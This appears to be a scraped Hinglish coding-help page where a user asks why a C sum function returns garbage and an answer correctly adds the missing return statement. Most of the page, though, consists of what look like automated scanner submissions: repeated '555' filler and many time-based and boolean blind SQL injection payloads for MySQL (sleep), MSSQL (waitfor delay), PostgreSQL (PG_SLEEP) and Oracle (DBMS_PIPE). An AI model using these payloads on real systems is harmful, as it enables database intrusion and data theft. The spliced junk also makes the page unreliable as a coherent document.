Community Doubts
Ask a DoubtBut jab main program run karta hoon, toh output galat value deta hai ya kabhi-kabhi random number print hota hai.
Expected behavior:
Function ko a + b return karna chahiye
Actual behavior:
Kabhi sahi output deta hai
Kabhi random garbage value
Kabhi program crash ho jata hai
Maine ye cheeze try ki:
Return type int rakha
Variables ko initialize kiya
Function prototype declare kiya
Phir bhi issue solve nahi ho raha hai.
Please help — problem kya ho sakti hai?
#include <stdio.h>
int sum(int x, int y) {
int result = x + y;
// missing return?
}
int main() {
int a = 10, b = 5;
int ans = sum(a, b);
printf("Result = %d", ans);
return 0;
}
#include <stdio.h>
int sum(int x, int y) {
int result = x + y;
return result; // ❗ Correct return statement added
}
int main() {
int a = 10, b = 5;
int ans = sum(a, b);
printf("Result = %d", ans); // Output: 15
return 0;
}
Why this fixes the issue?
C me function ka return type agar int ho, to return int value deni hi padegi.
Agar return missing ho:
Function garbage memory return karega
Program unpredictable behavior dikhayega
Kabhi crash bhi ho sakta hai
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
-1 OR 2+19-19-1=0+0+0+1 --
555
-1 OR 3+19-19-1=0+0+0+1 --
555
555
555
-1 OR 3*2<(0+5+19-19) --
555
-1 OR 3*2>(0+5+19-19) --
555
-1 OR 2+995-995-1=0+0+0+1
555
-1 OR 3+995-995-1=0+0+0+1
555
-1 OR 3*2<(0+5+995-995)
555
555
555
-1 OR 3*2>(0+5+995-995)
555
-1 OR 2+741-741-1=0+0+0+1 --
555
-1' OR 2+11-11-1=0+0+0+1 --
555
-1 OR 3+741-741-1=0+0+0+1 --
555
-1' OR 3+11-11-1=0+0+0+1 --
555
-1 OR 3*2<(0+5+741-741) --
555
-1' OR 3*2<(0+5+11-11) --
555
-1 OR 3*2>(0+5+741-741) --
555
-1' OR 3*2>(0+5+11-11) --
555
-1 OR 2+701-701-1=0+0+0+1
555
-1' OR 2+501-501-1=0+0+0+1 or 'LrXvUx4w'='
555
-1 OR 3+701-701-1=0+0+0+1
555
-1' OR 3+501-501-1=0+0+0+1 or 'LrXvUx4w'='
555
-1 OR 3*2<(0+5+701-701)
555
-1' OR 3*2<(0+5+501-501) or 'LrXvUx4w'='
555
-1 OR 3*2>(0+5+701-701)
555
-1' OR 3*2>(0+5+501-501) or 'LrXvUx4w'='
555
-1' OR 2+71-71-1=0+0+0+1 --
555
-1" OR 2+313-313-1=0+0+0+1 --
555
-1' OR 3+71-71-1=0+0+0+1 --
555
-1" OR 3+313-313-1=0+0+0+1 --
555
-1' OR 3*2<(0+5+71-71) --
555
-1" OR 3*2<(0+5+313-313) --
555
-1' OR 3*2>(0+5+71-71) --
555
-1" OR 3*2>(0+5+313-313) --
555
-1' OR 2+92-92-1=0+0+0+1 or 'zAOYqDlG'='
555
-1' OR 3+92-92-1=0+0+0+1 or 'zAOYqDlG'='
555
-1' OR 3*2<(0+5+92-92) or 'zAOYqDlG'='
555
-1' OR 3*2>(0+5+92-92) or 'zAOYqDlG'='
555
-1" OR 2+884-884-1=0+0+0+1 --
555
-1" OR 3+884-884-1=0+0+0+1 --
555
-1" OR 3*2<(0+5+884-884) --
555
-1" OR 3*2>(0+5+884-884) --
555
555
555
-1 OR 2+720-720-1=0+0+0+1 --
555
-1 OR 3+720-720-1=0+0+0+1 --
555
-1 OR 3*2<(0+5+720-720) --
555
-1 OR 3*2>(0+5+720-720) --
555
-1 OR 2+550-550-1=0+0+0+1
555
-1 OR 3+550-550-1=0+0+0+1
555
-1 OR 3*2<(0+5+550-550)
555
-1 OR 3*2>(0+5+550-550)
555
-1' OR 2+601-601-1=0+0+0+1 --
555
-1' OR 3+601-601-1=0+0+0+1 --
555
-1' OR 3*2<(0+5+601-601) --
555
-1' OR 3*2>(0+5+601-601) --
555
-1' OR 2+364-364-1=0+0+0+1 or 'qwCXw72f'='
555
-1' OR 3+364-364-1=0+0+0+1 or 'qwCXw72f'='
555
-1' OR 3*2<(0+5+364-364) or 'qwCXw72f'='
555
-1' OR 3*2>(0+5+364-364) or 'qwCXw72f'='
555
-1" OR 2+95-95-1=0+0+0+1 --
555
if(now()=sysdate(),sleep(15),0)
555
-1" OR 3+95-95-1=0+0+0+1 --
555
-1" OR 3*2<(0+5+95-95) --
555
-1" OR 3*2>(0+5+95-95) --
555
if(now()=sysdate(),sleep(15),0)
555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555
if(now()=sysdate(),sleep(15),0)
555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
-1; waitfor delay '0:0:15' --
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
-1; waitfor delay '0:0:15' --
555
-1); waitfor delay '0:0:15' --
555
-1; waitfor delay '0:0:15' --
555
-1); waitfor delay '0:0:15' --
555
1 waitfor delay '0:0:15' --
555
-1); waitfor delay '0:0:15' --
555
1 waitfor delay '0:0:15' --
555
qwed0thb'; waitfor delay '0:0:15' --
555
1 waitfor delay '0:0:15' --
555
81T1yTus'; waitfor delay '0:0:15' --
555
-5 OR 167=(SELECT 167 FROM PG_SLEEP(15))--
555
aggx6n6x'; waitfor delay '0:0:15' --
555
-5 OR 630=(SELECT 630 FROM PG_SLEEP(15))--
555
-5) OR 597=(SELECT 597 FROM PG_SLEEP(15))--
555
-5 OR 864=(SELECT 864 FROM PG_SLEEP(15))--
555
-5) OR 587=(SELECT 587 FROM PG_SLEEP(15))--
555
-1)) OR 573=(SELECT 573 FROM PG_SLEEP(15))--
555
-5) OR 399=(SELECT 399 FROM PG_SLEEP(15))--
555
-1)) OR 985=(SELECT 985 FROM PG_SLEEP(15))--
555
oWAUuoA1' OR 393=(SELECT 393 FROM PG_SLEEP(15))--
555
-1)) OR 357=(SELECT 357 FROM PG_SLEEP(15))--
555
ns0Q8DO6' OR 936=(SELECT 936 FROM PG_SLEEP(15))--
555
oV8GR50L') OR 751=(SELECT 751 FROM PG_SLEEP(15))--
555
VPCdRMQ9' OR 291=(SELECT 291 FROM PG_SLEEP(15))--
555
Wd11eer8') OR 354=(SELECT 354 FROM PG_SLEEP(15))--
555
dfHpXefF')) OR 826=(SELECT 826 FROM PG_SLEEP(15))--
555
zUUskIJh') OR 20=(SELECT 20 FROM PG_SLEEP(15))--
555
qb2GvSap')) OR 937=(SELECT 937 FROM PG_SLEEP(15))--
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
ACo41vdP')) OR 515=(SELECT 515 FROM PG_SLEEP(15))--
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
1'"
555
1 ????%2527%2522
555
@@Ssj0R
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
1'"
555
1 ????%2527%2522
555
@@1QjSn
555
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
1'"
555
1 ????%2527%2522
555
@@nr3BV
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
-1 OR 2+330-330-1=0+0+0+1 --
555
555
555
-1 OR 3+330-330-1=0+0+0+1 --
555
555
555
-1 OR 3*2<(0+5+330-330) --
555
555
555
-1 OR 3*2>(0+5+330-330) --
555
555
555
-1 OR 2+966-966-1=0+0+0+1
555
555
555
-1 OR 3+966-966-1=0+0+0+1
555
555
555
-1 OR 3*2<(0+5+966-966)
555
555
555
-1 OR 3*2>(0+5+966-966)
555
555
555
-1' OR 2+711-711-1=0+0+0+1 --
555
-1' OR 3+711-711-1=0+0+0+1 --
555
-1' OR 3*2<(0+5+711-711) --
555
-1' OR 3*2>(0+5+711-711) --
555
-1' OR 2+694-694-1=0+0+0+1 or 'SlYX0Idr'='
555
555
555
-1' OR 3+694-694-1=0+0+0+1 or 'SlYX0Idr'='
555
-1 OR 2+770-770-1=0+0+0+1 --
555
-1' OR 3*2<(0+5+694-694) or 'SlYX0Idr'='
555
-1 OR 3+770-770-1=0+0+0+1 --
555
-1' OR 3*2>(0+5+694-694) or 'SlYX0Idr'='
555
-1 OR 3*2<(0+5+770-770) --
555
-1" OR 2+917-917-1=0+0+0+1 --
555
-1 OR 3*2>(0+5+770-770) --
555
-1" OR 3+917-917-1=0+0+0+1 --
555
-1 OR 2+563-563-1=0+0+0+1
555
-1" OR 3*2<(0+5+917-917) --
555
-1 OR 3+563-563-1=0+0+0+1
555
-1" OR 3*2>(0+5+917-917) --
555
-1 OR 3*2<(0+5+563-563)
555
-1 OR 3*2>(0+5+563-563)
555
-1' OR 2+809-809-1=0+0+0+1 --
555
-1' OR 3+809-809-1=0+0+0+1 --
555
-1' OR 3*2<(0+5+809-809) --
555
-1' OR 3*2>(0+5+809-809) --
555
-1' OR 2+171-171-1=0+0+0+1 or 'NxszOuAN'='
555
-1' OR 3+171-171-1=0+0+0+1 or 'NxszOuAN'='
555
555
555
-1' OR 3*2<(0+5+171-171) or 'NxszOuAN'='
555
-1' OR 3*2>(0+5+171-171) or 'NxszOuAN'='
555
-1" OR 2+502-502-1=0+0+0+1 --
555
-1" OR 3+502-502-1=0+0+0+1 --
555
-1" OR 3*2<(0+5+502-502) --
555
-1" OR 3*2>(0+5+502-502) --
555
if(now()=sysdate(),sleep(15),0)
555
555
555
if(now()=sysdate(),sleep(15),0)
555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
555
555
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
-1; waitfor delay '0:0:15' --
555
555
555
-1; waitfor delay '0:0:15' --
555
-1); waitfor delay '0:0:15' --
555
555
555
-1); waitfor delay '0:0:15' --
555
1 waitfor delay '0:0:15' --
555
555
555
1 waitfor delay '0:0:15' --
555
Qunqf12a'; waitfor delay '0:0:15' --
555
555
555
1Eg4Zdyf'; waitfor delay '0:0:15' --
555
-5 OR 693=(SELECT 693 FROM PG_SLEEP(15))--
555
555
555
555
555
555
555
555
555
-5 OR 169=(SELECT 169 FROM PG_SLEEP(15))--
555
-5) OR 655=(SELECT 655 FROM PG_SLEEP(15))--
555
555
555
-5) OR 488=(SELECT 488 FROM PG_SLEEP(15))--
555
-1)) OR 843=(SELECT 843 FROM PG_SLEEP(15))--
555
555
555
-1 OR 2+937-937-1=0+0+0+1 --
555
-1 OR 3+937-937-1=0+0+0+1 --
555
-1 OR 3*2<(0+5+937-937) --
555
-1)) OR 445=(SELECT 445 FROM PG_SLEEP(15))--
555
-1 OR 3*2>(0+5+937-937) --
555
-1 OR 2+165-165-1=0+0+0+1
555
-1 OR 3+165-165-1=0+0+0+1
555
-1 OR 3*2<(0+5+165-165)
555
-1 OR 3*2>(0+5+165-165)
555
-1' OR 2+638-638-1=0+0+0+1 --
555
-1' OR 3+638-638-1=0+0+0+1 --
555
-1' OR 3*2<(0+5+638-638) --
555
zOzoL8IJ' OR 245=(SELECT 245 FROM PG_SLEEP(15))--
555
-1' OR 3*2>(0+5+638-638) --
555
-1' OR 2+763-763-1=0+0+0+1 or '1D4pKbsM'='
555
-1' OR 3+763-763-1=0+0+0+1 or '1D4pKbsM'='
555
-1' OR 3*2<(0+5+763-763) or '1D4pKbsM'='
555
-1' OR 3*2>(0+5+763-763) or '1D4pKbsM'='
555
-1" OR 2+299-299-1=0+0+0+1 --
555
-1" OR 3+299-299-1=0+0+0+1 --
555
-1" OR 3*2<(0+5+299-299) --
555
-1" OR 3*2>(0+5+299-299) --
555
ouyQpNbV' OR 445=(SELECT 445 FROM PG_SLEEP(15))--
555
ZeBLjRI3') OR 104=(SELECT 104 FROM PG_SLEEP(15))--
555
if(now()=sysdate(),sleep(15),0)
555
lo1ChKOQ') OR 24=(SELECT 24 FROM PG_SLEEP(15))--
555
TwjS2tRe')) OR 344=(SELECT 344 FROM PG_SLEEP(15))--
555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
555
XXqznUuy')) OR 804=(SELECT 804 FROM PG_SLEEP(15))--
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
1'"
555
1 ????%2527%2522
555
@@F3GGA
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
1'"
555
1 ????%2527%2522
555
@@kFFwp
555
555
555
-1; waitfor delay '0:0:15' --
555
555
555
555
555
-1); waitfor delay '0:0:15' --
555
555
555
1 waitfor delay '0:0:15' --
555
zRgodX0f'; waitfor delay '0:0:15' --
555
-5 OR 460=(SELECT 460 FROM PG_SLEEP(15))--
555
-5) OR 551=(SELECT 551 FROM PG_SLEEP(15))--
555
-1)) OR 432=(SELECT 432 FROM PG_SLEEP(15))--
555
lzTMOAfd' OR 196=(SELECT 196 FROM PG_SLEEP(15))--
555
ujajt9FM') OR 326=(SELECT 326 FROM PG_SLEEP(15))--
555
6BAvigO4')) OR 554=(SELECT 554 FROM PG_SLEEP(15))--
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
1'"
555
1 ????%2527%2522
555
@@lTBcz
555
555
555
555
555
555
555
555
555
555
555